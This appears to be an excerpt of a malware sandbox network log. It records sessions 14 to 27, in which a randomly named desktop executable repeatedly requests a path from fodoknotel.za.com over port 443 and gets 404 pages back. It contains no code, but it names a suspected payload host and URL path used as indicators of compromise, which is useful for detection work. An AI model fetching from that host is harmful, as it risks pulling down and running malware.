Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49741	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:11 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:11 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:11 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49743	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:12 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:12 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:12 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:12 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49745	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:13 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:13 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:13 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49747	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:13 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:14 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:14 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49750	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:14 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:14 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:14 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:14 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49752	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:15 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:15 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:15 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:15 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49755	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:16 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:16 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:16 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:16 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49762	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:17 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:17 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:17 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:17 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49769	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:18 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:18 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:18 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49776	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:19 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:19 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:19 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:19 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49782	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:19 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:20 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:20 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49791	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:20 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:20 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:20 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49798	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:21 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:21 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:21 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:21 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49804	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:22 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:22 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:22 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:22 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC 